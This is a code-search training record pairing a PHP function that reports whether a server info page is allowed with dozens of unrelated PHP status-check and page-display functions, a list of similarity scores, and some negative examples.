$_SERVER['REQUEST_URI'];\r\n\t\t\t}\r\n\t\t\t// Check for Plugin Specific Pages\r\n\t\t\t$this->TS_VCSC_PluginFontSummary\t\t\t\t\t= \"false\";\r\n\t\t\tif (strpos($TS_VCSC_Extension_Browser, '?page=TS_VCSC_Extender') !== false) {\r\n\t\t\t\t$this->TS_VCSC_PluginFontSummary\t\t\t\t= \"true\";\r\n\t\t\t} else if (strpos($TS_VCSC_Extension_Browser, '?page=TS_VCSC_System') !== false) {\r\n\t\t\t\t$this->TS_VCSC_PluginFontSummary\t\t\t\t= \"true\";\r\n\t\t\t}\r\n\t\t\t$this->TS_VCSC_GoggleFontSummary\t\t\t\t\t= \"false\";\r\n\t\t\tif ((strpos($TS_VCSC_Extension_Browser, '?page=TS_VCSC_GoogleFonts') !== false) || (strpos($TS_VCSC_Extension_Browser, '?page=TS_VCSC_System') !== false)) {\r\n\t\t\t\t$this->TS_VCSC_GoggleFontSummary\t\t\t\t= \"true\";\r\n\t\t\t}\r\n\t\t\t$this->TS_VCSC_PluginSettingsTransfer\t\t\t\t= \"false\";\r\n\t\t\tif (strpos($TS_VCSC_Extension_Browser, '?page=TS_VCSC_Transfers') !== false) {\r\n\t\t\t\t$this->TS_VCSC_PluginSettingsTransfer\t\t\t= \"true\";\r\n\t\t\t}\r\n\t\t\t$this->TS_VCSC_PluginEnlighterTheme\t\t\t\t\t= \"false\";\r\n\t\t\tif (strpos($TS_VCSC_Extension_Browser, '?page=TS_VCSC_EnlighterJS') !== false) {\r\n\t\t\t\t$this->TS_VCSC_PluginEnlighterTheme\t\t\t\t= \"true\";\r\n\t\t\t}\r\n\t\t\t$this->TS_VCSC_PluginDownTimeManager\t\t\t\t= \"false\";\r\n\t\t\tif (strpos($TS_VCSC_Extension_Browser, '?page=TS_VCSC_Downtime') !== false) {\r\n\t\t\t\t$this->TS_VCSC_PluginDownTimeManager\t\t\t= \"true\";\r\n\t\t\t}\r\n\t\t\t$this->TS_VCSC_PluginIconFontImport\t\t\t\t\t= \"false\";\r\n\t\t\tif (strpos($TS_VCSC_Extension_Browser, '?page=TS_VCSC_Uploader') !== false) {\r\n\t\t\t\t$this->TS_VCSC_PluginIconFontImport\t\t\t\t= \"true\";\r\n\t\t\t}\r\n\t\t\t$this->TS_VCSC_PluginUsageCompiler\t\t\t\t\t= \"false\";\r\n\t\t\tif (strpos($TS_VCSC_Extension_Browser, '?page=TS_VCSC_Usage') !== false) {\r\n\t\t\t\t$this->TS_VCSC_PluginUsageCompiler\t\t\t\t= \"true\";\r\n\t\t\t}\r\n $this->TS_VCSC_PluginIconGenerator = \"false\";\r\n\t\t\tif (strpos($TS_VCSC_Extension_Browser, '?page=TS_VCSC_Generator') !== false) {\r\n\t\t\t\t$this->TS_VCSC_PluginIconGenerator\t\t\t\t= \"true\";\r\n\t\t\t}\r\n\t\t\t$this->TS_VCSC_Icons_Compliant_Loading\t\t\t\t= \"false\";\r\n\t\t\tif ((strpos($TS_VCSC_Extension_Browser, '?page=TS_VCSC_Previews') !== false) || (strpos($TS_VCSC_Extension_Browser, '?page=TS_VCSC_Generator') !== false)) {\r\n\t\t\t\t$this->TS_VCSC_Icons_Compliant_Loading\t\t\t= \"true\";\r\n\t\t\t}\r\n // Check for Composium Custom Post Types\r\n $this->TS_VCSC_CustomPostTypesPresent = \"false\";\r\n if (strpos($TS_VCSC_Extension_Browser, '?post_type=ts_timeline') !== false) {\r\n $this->TS_VCSC_CustomPostTypesPresent = \"true\";\r\n }\r\n\t\t\t// Check for WP Bakery Page Builder Roles Manager\t\t\t\r\n\t\t\t$this->TS_VCSC_Extension_RoleManager\t\t\t\t= \"false\";\r\n\t\t\tif (strpos($TS_VCSC_Extension_Browser, '?page=vc-roles') !== false) {\r\n\t\t\t\t$this->TS_VCSC_Extension_RoleManager\t\t\t= \"true\";\t\t\r\n\t\t\t}\r\n\t\t\t// Check for Elements for Users - Addon for WP Bakery Page Builder\r\n\t\t\t$this->TS_VCSC_Extension_ElementsUser\t\t\t\t= \"false\";\r\n\t\t\tif (strpos($TS_VCSC_Extension_Browser, '?page=mcw_elements_for_users') !== false) {\r\n\t\t\t\t$this->TS_VCSC_Extension_ElementsUser\t\t\t= \"true\";\t\t\r\n\t\t\t}\r\n\t\t\t// Check for Toolsets Template Editor\r\n\t\t\t$this->TS_VCSC_Extension_ToolsetsUser\t\t\t\t= \"false\";\r\n\t\t\tif (strpos($TS_VCSC_Extension_Browser, '?page=ct-editor') !== false) {\r\n\t\t\t\t$this->TS_VCSC_Extension_ToolsetsUser\t\t\t= \"true\";\t\t\r\n\t\t\t}\r\n\t\t\t// Determine if WP Bakery Page Builder Form Request\r\n\t\t\tif (array_key_exists('action', $_REQUEST)) {\r\n\t\t\t\t$TS_VCSC_Extension_Request\t\t\t\t\t\t= ($_REQUEST[\"action\"] != \"vc_edit_form\" ? \"false\" : \"true\");\r\n\t\t\t} else {\r\n\t\t\t\t$TS_VCSC_Extension_Request\t\t\t\t\t\t= \"false\";\r\n\t\t\t}\r\n\t\t\t// Determine Standard Page Editor\r\n\t\t\t$this->TS_VCSC_VCStandardEditMode\t\t\t\t\t= (TS_VCSC_IsEditPagePost() == 1 ? \"true\" : \"false\");\r\n\t\t\t// Determine Frontend Editor Status\r\n\t\t\tif (function_exists('vc_is_inline')){\r\n\t\t\t\tif (vc_is_inline() == true) {\r\n\t\t\t\t\t$this->TS_VCSC_VCFrontEditMode \t\t\t\t= \"true\";\r\n\t\t\t\t} else {\r\n\t\t\t\t\tif ((vc_is_inline() == NULL) || (vc_is_inline() == '')) {\r\n\t\t\t\t\t\tif (TS_VCSC_CheckFrontEndEditor() == true) {\r\n\t\t\t\t\t\t\t$this->TS_VCSC_VCFrontEditMode \t\t= \"true\";\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t$this->TS_VCSC_VCFrontEditMode \t\t= \"false\";\r\n\t\t\t\t\t\t}\t\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\t$this->TS_VCSC_VCFrontEditMode \t\t\t= \"false\";\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\t$this->TS_VCSC_VCFrontEditMode \t\t\t\t\t= \"false\";\r\n\t\t\t}\r\n\t\t\t// Check AJAX Request Status\r\n\t\t\t$this->TS_VCSC_PluginAJAX\t\t\t\t\t\t\t= ($this->TS_VCSC_RequestIsFrontendAJAX() == 1 ? \"true\" : \"false\");\r\n\t\t\t// Set Global Load Status\r\n\t\t\t$this->TS_VCSC_VisualComposer_Loading\t\t\t\t= \"false\"; \r\n $this->TS_VCSC_Gutenberg_Classic = (TS_VCSC_CheckGBClassicEditor() == true ? \"true\" : \"false\");\r\n\t\t\tif ((defined('WPB_VC_VERSION')) && (($TS_VCSC_Extension_Request == \"true\") || ($this->TS_VCSC_VCFrontEditMode == \"true\") || ($this->TS_VCSC_VCStandardEditMode == \"true\") || ($this->TS_VCSC_PluginAJAX == \"true\")) || ($this->TS_VCSC_Extension_ToolsetsUser == \"true\")) {\r\n $this->TS_VCSC_VisualComposer_Loading = \"true\";\r\n\t\t\t}\r\n // Check for In-Compatible WP Bakery WEBSITE Builder\r\n $this->TS_VCSC_WebsiteBuilder_Instead = \"false\";\r\n $this->TS_VCSC_WebsiteBuilder_Instead = (TS_VCSC_CheckVCWebsiteEditor() === true ? \"true\" : \"false\");\r\n\t\t\t// Register Global Data/Functions As Needed\r\n\t\t\t$this->TS_VCSC_RegisterGlobalData();\r\n\t\t}", "function statusCheck()\n {\n\n // define all the global variables\n global $user, $settings, $message, $translator;\n\n // check if the site is disabled\n if ($settings->siteDisabled()) {\n // check if the user is an admin then do and exception\n if ($user->isAdmin()) {\n return LoginStatus::GoodToGo;\n }\n $message->customKill($translator->translateText(\"siteDisabled\"), $translator->translateText(\"siteDisabledMSG\"), $settings->get(Settings::SITE_THEME));\n return false;\n }\n\n // check if the user has already logged in\n if (!$this->logged_in()) {\n return LoginStatus::NeedToLogin;\n }\n\n // check if the current user's device is verified\n if (!$user->devices()->canAccess()) {\n return LoginStatus::VerifyDevice;\n }\n\n // check if session is authenticated\n if ($this->authenticationNeeded() && $user->twoFactorEnabled()) {\n return LoginStatus::AuthenticationNeeded;\n }\n\n return LoginStatus::GoodToGo;\n }", "public function serverError()\n {\n return $this->status() >= 500;\n }", "public function setStatus()\r\n\t{\r\n\t\t$this->getHostStatus();\r\n\t}", "public function hasStatuses()\n\t{\n\t\treturn true;\n\t}", "public function hasServerTvPort()\n {\n return $this->server_tv_port !== null;\n }", "public static function checkMinerServerState($serverUrl) {\n $response=self::curlRequestResponse($serverUrl);\n return !empty($response);\n //TODO check the real availability\n }", "public static function status() {\n try {\n return ! is_null(self::create()->getProfilingLevel());\n } catch (Exception $e) {\n return false;\n }\n }", "public function hasStatus()\n {\n return $this->get(self::STATUS) !== null;\n }", "public function hasStatus()\n {\n return $this->get(self::STATUS) !== null;\n }", "protected function displayMaintenancePage()\n {\n return;\n }", "public function status()\r\n {\r\n if($this->twitter->check_login() == False)\r\n {\r\n url::redirect($this->docroot.'ktwitter/demo');\r\n }\r\n \r\n $response = False;\r\n // now if we are \"POSTING\" then we need to update status first\r\n if($_POST)\r\n {\r\n // setStatus does what it says on the tin (no input sanitized!!!!!)\r\n $response = $this->twitter->setStatus($this->input->post('status'));\r\n \r\n // manipulating the response object\r\n $response = $response->text;\r\n\r\n }\r\n \r\n // get the timeline\r\n $timeline = $this->twitter->getStatus();\r\n \r\n // show the page\r\n $this->page->content = new View('ktwitter/demo/status',array('response'=>$response,'timeline'=>$timeline));\r\n $this->page->render(True);\r\n \r\n }", "function ticketbud_server_connectivity_ok() {\n\t// skip the check on WPMU because the status page is hidden\n\tglobal $ticketbud_unused_api_key;\n\tif ( $ticketbud_unused_api_key )\n\t\treturn true;\n\t$servers = ticketbud_get_server_connectivity();\n\treturn !( empty($servers) || !count($servers) || count( array_filter($servers) ) < count($servers) );\n}", "protected function getSuhosinLoadedStatus() {}", "private function shouldDisplayMessage()\n\t{\n\t\t// Only on admin app\n\t\tif (!$this->app->isClient('administrator'))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t// Only if authenticated\n\t\tif (JFactory::getUser()->guest)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t// Only on HTML documents\n\t\tif ($this->app->getDocument()->getType() !== 'html')\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t// Only on full page requests\n\t\tif ($this->app->input->getCmd('tmpl', 'index') === 'component')\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t// Only to com_cpanel\n\t\tif ($this->app->input->get('option') !== 'com_cpanel')\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}", "public function isInformational(): bool\n {\n return $this->getStatusCode() < 200;\n }", "private function isMyServer(): bool {\n\t\ttry {\n\t\t\treturn Server::singleton($this->application)->id() === $this->memberInteger('server');\n\t\t} catch (Throwable) {\n\t\t\treturn false;\n\t\t}\n\t}", "private function isMaintenanceMode()\n {\n return $this->maintenancePage instanceof Maintenance ? $this->maintenancePage->getEnable() : false;\n }", "public function checkModuleStatus() {\n $storeId = Mage::app()->getStore()->getStoreId();\n return Mage::getStoreConfig('redirect404error/redirect404errorstatus/status', $storeId);\n }", "function frontend_testing_server_notice() {\n $url = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];\n if ( (strpos($url,'staging') !== false) || $_SERVER[\"SERVER_ADDR\"] == '::1' ) {\n \t$class = 'notice notice-warning callout callout-info callout-full';\n \t$message = __( '<strong>Warning:</strong> You are currently on a testing server. <strong>Any changes may be overwritten.</strong>', 'theme' );\n \tprintf( '<div class=\"%1$s\"><p>%2$s</p></div>', $class, $message ); \n }\n}", "private function checkStatus()\n {\n $res = $this->parseBoolean(\n json_encode($this->getStatus()[\"timed_out\"])\n );\n\n if ($this->getStatus() == null)\n $this->setOnline(false);\n else if ($res)\n $this->setOnline(false);\n else\n $this->setOnline(true);\n }", "public function is_server_configured() {\n\n if (empty($this->config->server_hostname) || empty($this->config->indexname)) {\n return 'No solr configuration found';\n }\n\n if (!$client = $this->get_search_client(false)) {\n return get_string('engineserverstatus', 'search');\n }\n\n try {\n if ($this->get_solr_major_version() < 4) {\n // Minimum solr 4.0.\n return get_string('minimumsolr4', 'search_solr');\n }\n } catch (\\SolrClientException $ex) {\n debugging('Solr client error: ' . html_to_text($ex->getMessage()), DEBUG_DEVELOPER);\n return get_string('engineserverstatus', 'search');\n } catch (\\SolrServerException $ex) {\n debugging('Solr server error: ' . html_to_text($ex->getMessage()), DEBUG_DEVELOPER);\n return get_string('engineserverstatus', 'search');\n }\n\n return true;\n }", "static function is_requested()\n {\n $retval = FALSE;\n if (self::is_requested_page()) {\n $retval = self::is_requested_page();\n } elseif (self::is_requested_post_type()) {\n $retval = self::is_requested_post_type();\n }\n return apply_filters('is_ngg_admin_page', $retval);\n }", "function isOnPageAsString(){\n\t\treturn $this->on_page ? 'true' : 'false';\n\t}", "protected function CheckTemplateEngineStatus()\n {\n $this->data['show_template_engine'] = TdbCmsConfig::GetInstance()->fieldShowTemplateEngine;\n }", "public function isInformationVisible()\n {\n return Mage::getStoreConfigFlag(self::XML_PATH_OPTIONS_DISPLAY_INFORMATION);\n }", "protected function displayMaintenancePage()\n {\n }", "protected function displayMaintenancePage()\n {\n }", "protected function displayMaintenancePage()\n {\n }", "public function getStatus()\n {\n if (isset($this->data['Status'])) {\n return $this->data['Status'];\n } else {\n return false;\n }\n }", "public function status();", "public function status();", "public function show_in_admin_bar()\n\t{\n\t\treturn !( self::const_value( 'DEVDEBUG_NO_ADMIN_BAR' ) );\n\t}", "public function isVisible(): bool\n {\n return $this->scopeConfig->getValue('helloworld/general/enable');\n }", "public function route_status() {\n\t\treturn self::$core::pj(self::$ctrl->get_safe_user_data(), 401);\n\t}", "function ninja_forms_tab_system_status(){\n\t// Display the system status!\n\tinclude(\"system-status-html.php\");\n}", "public function DisplayNice()\n {\n return $this->DisplayOnSite ? 'Yes' : 'No';\n }", "public static function isRunning()\n\t{\n\t\treturn MHTTPD::$running;\n\t}", "public function isVisibleInCatalog()\n {\n return in_array($this->getStatus(), $this->getVisibleInCatalogStatuses());\n }", "public function isServerError(): bool\n {\n return $this->code >= CODE_INTERNAL_SERVER_ERROR;\n }", "public function info()\n {\n $this->actionStatus = parent::ACTION_STATUS_FAIL;\n $this->dataExplained['' . parent::KEY_RESPONSE_STATUS . ''] = null;\n return false;\n }", "public static function is_current_url_a_system_page(){\n $current_page_url = SwpmMiscUtils::get_current_page_url();\n \n //Check if the current page is the membership renewal page.\n $renewal_url = SwpmSettings::get_instance()->get_value('renewal-page-url'); \n if (empty($renewal_url)) {return false;}\n if (SwpmMiscUtils::compare_url($renewal_url, $current_page_url)) {return true;}\n\n //Check if the current page is the membership logn page.\n $login_page_url = SwpmSettings::get_instance()->get_value('login-page-url');\n if (empty($login_page_url)) {return false;}\n if (SwpmMiscUtils::compare_url($login_page_url, $current_page_url)) {return true;}\n\n //Check if the current page is the membership join page.\n $registration_page_url = SwpmSettings::get_instance()->get_value('registration-page-url');\n if (empty($registration_page_url)) {return false;}\n if (SwpmMiscUtils::compare_url($registration_page_url, $current_page_url)) {return true;}\n \n return false;\n }", "public function test_site_state() {\n\t\tif ( ! method_exists( 'Health_Check_Loopback', 'can_perform_loopback' ) ) {\n\t\t\t$plugin_file = trailingslashit( WP_PLUGIN_DIR ) . 'health-check/includes/class-health-check-loopback.php';\n\n\t\t\t// Make sure the file exists, in case someone deleted the plugin manually, we don't want any errors.\n\t\t\tif ( ! file_exists( $plugin_file ) ) {\n\n\t\t\t\t// If the plugin files are inaccessible, we can't guarantee for the state of the site, so the default is a bad response.\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\trequire_once( $plugin_file );\n\t\t}\n\n\t\t$loopback_state = Health_Check_Loopback::can_perform_loopback();\n\n\t\tif ( 'good' !== $loopback_state->status ) {\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}", "public function svnEnabled()\r\n\t{\r\n\t\treturn $this->container->get('request')->getSession()->has('context');\r\n\t}", "protected function isAllowedStatusUsed()\n\t{\n\t\treturn $this->use_allowed_status;\n\t}", "protected function is_view_page() {\n\t\treturn false;\n\t}", "public function get_status() \n {\n $sess_stat= Session::instance()->get(\"hana_status\", array());\n if(!empty($sess_stat)) $this->status=$sess_stat;\n return $this->status;\n }", "public function isRedirect()\n {\n return isset($this->data['Status']) && '3DAUTH' === $this->data['Status'];\n }", "public function hasStatus()\n {\n return $this->status !== null;\n }", "public function serverErrorOccurred(): bool\n {\n return $this->getStatusCode() >= 500;\n }", "public function getAjaxStatus() {}", "public function status()\n {\n $command = 'ps -p ' . $this->pid;\n exec($command, $op);\n if (!isset($op[1])) {\n return false;\n }\n\n return true;\n }", "public function getIsSystemOn(): bool\n {\n /** @var WebApplication|ConsoleApplication $this */\n return $this->getIsLive();\n }", "function wp_ajax_health_check_site_status_result()\n {\n }", "public function hasStatus(){\n return $this->_has(19);\n }", "public function isWorking()\n {\n return $this->getState()->getStatus() == \\Magento\\Framework\\Mview\\View\\StateInterface::STATUS_WORKING;\n }", "public function isServerError(): bool\n {\n return $this->code >= 500 && $this->code < 600;\n }", "public function hasServerGameTime()\n {\n return $this->server_game_time !== null;\n }", "public function GetStatus()\n\t{\n\t\t// Demnach ist der Status in IPS der einzige der vorliegt.\t\t\n\t}", "public function hasServerPort()\n {\n return $this->server_port !== null;\n }", "public function display_status($status){\n\t\tif($status == '1'){\n\t\t\t$st = 'Active';\n\t\t}else{\t\n\t \t\t$st = 'Inactive';\n\t\t}\n\t\treturn $st;\n\t}", "public function hasStatus(): bool\n {\n return isset($this->status);\n }", "protected function renderAlertStatus() {}", "private function getHostStatus(): string\n {\n return ($this->statistics['packet_loss'] < 100) ? 'Ok' : 'Unreachable';\n }", "function visible () {\n\t\treturn isadmin();\n\t}", "public function serverDownShouldModerate(){\r\n\t\t$args = array (\r\n\t\t\t'k' => $this->accountID,\r\n\t\t\t'pwd' => $this->privateKey,\r\n\t\t\t'lofi' => $this->languageOrFrameworkID,\r\n\t\t\t'lofv' => $this->languageOrFrameworkVersion\r\n\t\t);\r\n\t\t$xmlresponse = $this->postData($this->baseURL,\"/checkStatus\",$this->useSSL,$args);\r\n\t\t$retVal = false;\r\n\t\tif ($xmlresponse){\r\n\t\t\t$doc = DOMDocument::loadXML($xmlresponse);\r\n\t\t\tif ($doc){\r\n\t\t\t\t$isRunningResponse = $doc->getElementsByTagName('isRunning');\r\n\t\t\t\tif (!($isRunningResponse && $isRunningResponse->item(0))){\r\n\t\t\t\t\t$retVal = true;\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$retVal = !($this->strToBoolean($isRunningResponse->item(0)->nodeValue));\r\n\t\t\t\t\tif (!$retVal){\r\n\t\t\t\t\t\t$secondsSinceLastDowntime = $doc->getElementsByTagName('SecondsSinceLastDowntime')->item(0)->nodeValue;\r\n\t\t\t\t\t\t$secondsSinceLastRestart = $doc->getElementsByTagName('SecondsSinceLastRestart')->item(0)->nodeValue;\r\n\t\t\t\t\t\tif ($this->timeToCompleteForm > $secondsSinceLastRestart && $this->timeToCompleteForm < $secondsSinceLastDowntime){\r\n\t\t\t\t\t\t\t$retVal = true;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\t$retVal = true;\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\t$retVal = true;\r\n\t\t}\r\n\t\treturn $retVal;\r\n\t}", "public function isOnepage()\r\n {\r\n if($this->_params['layout'] != 'onepage'){\r\n return false;\r\n }\r\n return true;\r\n }" ]
[ "0.636028", "0.6359578", "0.63501185", "0.62520367", "0.62330663", "0.62324655", "0.6188043", "0.6183963", "0.61637515", "0.605326", "0.6037759", "0.5988386", "0.5972265", "0.59405714", "0.5925474", "0.5896578", "0.58809817", "0.5876161", "0.58642876", "0.58542144", "0.58256996", "0.5824131", "0.5822576", "0.58188975", "0.58155394", "0.5797478", "0.57956225", "0.5785426", "0.5763883", "0.5740963", "0.5735544", "0.5727524", "0.5724161", "0.57149637", "0.5712617", "0.56876516", "0.5674675", "0.5674634", "0.5669994", "0.5668316", "0.5637969", "0.5636304", "0.5636304", "0.5635015", "0.56251556", "0.5622973", "0.56159246", "0.55937386", "0.55924004", "0.5579928", "0.5572161", "0.55707014", "0.5559444", "0.555772", "0.55565256", "0.555515", "0.5548473", "0.55440223", "0.5541793", "0.5525636", "0.5525636", "0.5525636", "0.5523458", "0.5514178", "0.5514178", "0.55116946", "0.5510906", "0.55084515", "0.5506967", "0.55036426", "0.5501633", "0.54895633", "0.54890454", "0.5477699", "0.5475797", "0.54728734", "0.54692966", "0.54572403", "0.5455509", "0.54555005", "0.54523534", "0.54392457", "0.54376394", "0.5437327", "0.54299873", "0.54228306", "0.5419684", "0.54185355", "0.5415078", "0.54122853", "0.54102737", "0.5406745", "0.5400147", "0.5394786", "0.53942496", "0.53937566", "0.53874713", "0.5386719", "0.53862417", "0.5372241" ]
0.7045054
0
Determines whether the Server Info page should be displayed or not.
public static function allowServerInfo() { return MHTTPD::$config['Admin']['allow_server_info']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function isInformationVisible()\n {\n return Mage::getStoreConfigFlag(self::XML_PATH_OPTIONS_DISPLAY_INFORMATION);\n }", "public function canShowInfo() {}", "public function isForServer()\n {\n return $this->server !== null;\n }", "public function isCatalogInformationVisible()\n {\n return (\n $this->isInformationVisible() && Mage::getStoreConfigFlag(self::XML_PATH_CATALOG_DISPLAY_INFORMATION)\n ) ? true : false;\n }", "public function showInfo(){\n if(defined('PLUGIN_OPTIONS'))\n return $this->moduleShowInfo();\n return browser\\msg::pageNotFound();\n }", "function serverInfo() {\n\t}", "function showInfoAlways() {\n\t\t// true: will show the story statistics to everyone.\n\t\treturn true;\n\t}", "public function hasInfoWindow() {\n return (!empty($this->_text));\n }", "function ServerInfo() {}", "public function info()\n\t{\n\t\treturn false;\n\t}", "public function hasServerType()\n {\n return $this->server_type !== null;\n }", "public function isInformation() {\n return (1 === $this->getStatusClass());\n }", "public function isInformational(): bool\n {\n return $this->getStatusCode() < 200;\n }", "private function isMyServer(): bool {\n\t\ttry {\n\t\t\treturn Server::singleton($this->application)->id() === $this->memberInteger('server');\n\t\t} catch (Throwable) {\n\t\t\treturn false;\n\t\t}\n\t}", "public static function isServerSide() {\n\t\treturn (bool) apply_filters( 'cmtt_is_serverside_pagination', get_option( 'cmtt_glossaryServerSidePagination' ) == 1 );\n\t}", "public function show(Server $server)\n {\n $this->authorize('server-control', $server);\n\n return ($server->installed === $server::INSTALLED && $server->enabled && !$server->blocked) ?\n view('servers.view', compact('server'))\n : view('servers.not_active', compact('server'));\n }", "public function hasServerHibernation()\n {\n return $this->server_hibernation !== null;\n }", "private function shouldInfoTableBeExported()\n {\n return $this->shouldInfoTableBeExported;\n }", "public function DisplayNice()\n {\n return $this->DisplayOnSite ? 'Yes' : 'No';\n }", "public function show(Server $server)\n {\n //\n }", "public function should_display_sandwitch_menu() {\n if ($this->page->pagelayout == 'frontpage' || !isloggedin() || isguestuser()) {\n return false;\n }\n return true;\n }", "protected function is_view_page() {\n\t\treturn false;\n\t}", "public static function isServerMode(): bool\n {\n /** @phpstan-ignore-next-line */\n return (defined('SPLASH_SERVER_MODE') && !empty(SPLASH_SERVER_MODE));\n }", "public function hasInfo()\n {\n return !empty($this->info) || !empty($this->seat);\n }", "public function isDisplayed()\n {\n return $this->configuration->isMultiShippingEnabled();\n }", "function checkPanelMode()\n\t{\n\t\tswitch ($this->display_mode)\n\t\t{\n\t\t\tcase \"view\":\n\t\t\t\t$this->displayStatusPanel();\n\t\t\t\tbreak;\n\n\t\t\tcase \"setup\":\n\t\t\t\t$this->displayProcessPanel();\n\t\t\t\tbreak;\n\t\t}\n\t}", "public static function allowServerStatus()\n\t{\n\t\treturn MHTTPD::$config['Admin']['allow_server_status'];\n\t}", "public function hasInfo() {\n return $this->_has(11);\n }", "public function hasInfo() {\n return $this->_has(10);\n }", "public function isOriginVisible()\n {\n return (\n $this->isInformationVisible() && \n Mage::getStoreConfigFlag(self::XML_PATH_OPTIONS_DISPLAY_ORIGIN)\n ) ? true : false;\n }", "private function shouldDisplayMessage()\n\t{\n\t\t// Only on admin app\n\t\tif (!$this->app->isClient('administrator'))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t// Only if authenticated\n\t\tif (JFactory::getUser()->guest)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t// Only on HTML documents\n\t\tif ($this->app->getDocument()->getType() !== 'html')\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t// Only on full page requests\n\t\tif ($this->app->input->getCmd('tmpl', 'index') === 'component')\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t// Only to com_cpanel\n\t\tif ($this->app->input->get('option') !== 'com_cpanel')\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}", "public function isOnepage()\r\n {\r\n if($this->_params['layout'] != 'onepage'){\r\n return false;\r\n }\r\n return true;\r\n }", "public function is_on_page_with_description() {\n return ($this->page->pagelayout == 'pagewithdescription');\n }", "public function hasServerTvPort()\n {\n return $this->server_tv_port !== null;\n }", "public function isDescriptionVisible()\n {\n return (\n $this->isInformationVisible() && \n Mage::getStoreConfigFlag(self::XML_PATH_OPTIONS_DISPLAY_DESCRIPTION)\n ) ? true : false;\n }", "static function is_requested()\n {\n $retval = FALSE;\n if (self::is_requested_page()) {\n $retval = self::is_requested_page();\n } elseif (self::is_requested_post_type()) {\n $retval = self::is_requested_post_type();\n }\n return apply_filters('is_ngg_admin_page', $retval);\n }", "public function KemiSitemap_is_admin_page()\n {\n if (get_current_screen()->base == 'settings_page_'.KEMISITEMAP_SLUG) {\n return 'true';\n }\n return 'false';\n }", "static function is_requested_page()\n {\n $retval = FALSE;\n // First, check the screen for the \"ngg\" property. This is how ngglegacy pages register themselves\n $screen = get_current_screen();\n if (property_exists($screen, 'ngg') && $screen->ngg) {\n $retval = $screen->id;\n } else {\n foreach (self::get_instance()->get_all() as $slug => $properties) {\n // Are we rendering a NGG added page?\n if (isset($properties['hook_suffix'])) {\n $hook_suffix = $properties['hook_suffix'];\n if (did_action(\"load-{$hook_suffix}\")) {\n $retval = $slug;\n break;\n }\n }\n }\n }\n return $retval;\n }", "protected function displayMaintenancePage()\n {\n return;\n }", "public function isSite() {\n return false;\n }", "public function hasServerGameTime()\n {\n return $this->server_game_time !== null;\n }", "protected function displayMaintenancePage()\n {\n }", "protected function displayMaintenancePage()\n {\n }", "protected function displayMaintenancePage()\n {\n }", "private static function _is_internal() {\n\t\t// Skip for preview, 404 calls, feed, search, favicon and sitemap access.\n\t\treturn is_preview() || is_404() || is_feed() || is_search()\n\t\t\t|| ( function_exists( 'is_favicon' ) && is_favicon() )\n\t\t\t|| '' !== get_query_var( 'sitemap' ) || '' !== get_query_var( 'sitemap-stylesheet' );\n\t}", "public function hasInfo() {\n return $this->_has(21);\n }", "public function db_server_info()\n {\n }", "public function hasServerKey()\n {\n return $this->server_key !== null;\n }", "private function is_show() {\n\n\t\tif ( 'avada-fusion-patcher' === $this->current_screen || ( ( 'avada-registration' === $this->current_screen || 'avada-plugins' === $this->current_screen || 'avada-demos' === $this->current_screen ) && class_exists( 'Avada' ) && Avada()->registration->is_registered() ) ) {\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "function frontend_testing_server_notice() {\n $url = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];\n if ( (strpos($url,'staging') !== false) || $_SERVER[\"SERVER_ADDR\"] == '::1' ) {\n \t$class = 'notice notice-warning callout callout-info callout-full';\n \t$message = __( '<strong>Warning:</strong> You are currently on a testing server. <strong>Any changes may be overwritten.</strong>', 'theme' );\n \tprintf( '<div class=\"%1$s\"><p>%2$s</p></div>', $class, $message ); \n }\n}", "public function is_server_configured() {\n\n if (empty($this->config->server_hostname) || empty($this->config->indexname)) {\n return 'No solr configuration found';\n }\n\n if (!$client = $this->get_search_client(false)) {\n return get_string('engineserverstatus', 'search');\n }\n\n try {\n if ($this->get_solr_major_version() < 4) {\n // Minimum solr 4.0.\n return get_string('minimumsolr4', 'search_solr');\n }\n } catch (\\SolrClientException $ex) {\n debugging('Solr client error: ' . html_to_text($ex->getMessage()), DEBUG_DEVELOPER);\n return get_string('engineserverstatus', 'search');\n } catch (\\SolrServerException $ex) {\n debugging('Solr server error: ' . html_to_text($ex->getMessage()), DEBUG_DEVELOPER);\n return get_string('engineserverstatus', 'search');\n }\n\n return true;\n }", "public function ms_info_callback() {\n\n\t\t//echo $_SERVER['REMOTE_PORT'];\n\t\techo 'User Agent: ' . $_SERVER['HTTP_USER_AGENT'] . \"</p>\";\n\t\techo 'Server Name: ' . $_SERVER['SERVER_NAME'] . '</p>';\n\t\techo \"Server Software: \".$_SERVER['SERVER_SOFTWARE'] . \"</p>\";\n\t\t$current_date = 'Server time and date: ' . date('H:i:s, m/d/Y') . \"\\n\\n\";\n\t\techo \"$current_date </p>\";\n\t\techo 'Number of Sites in the Network: '. get_blog_count() . '</p>';\n\t\techo 'Current Version of WordPress: ' . get_bloginfo('version') . '</p>';\n\t\techo 'Host Name: ' . gethostname() . '</p>';\n\t\tswitch_to_blog(1);\n\t\t$site_title = get_bloginfo( 'name' );\n\t\t$site_url = network_site_url( '/' );\n\t\t$site_description = get_bloginfo( 'description' 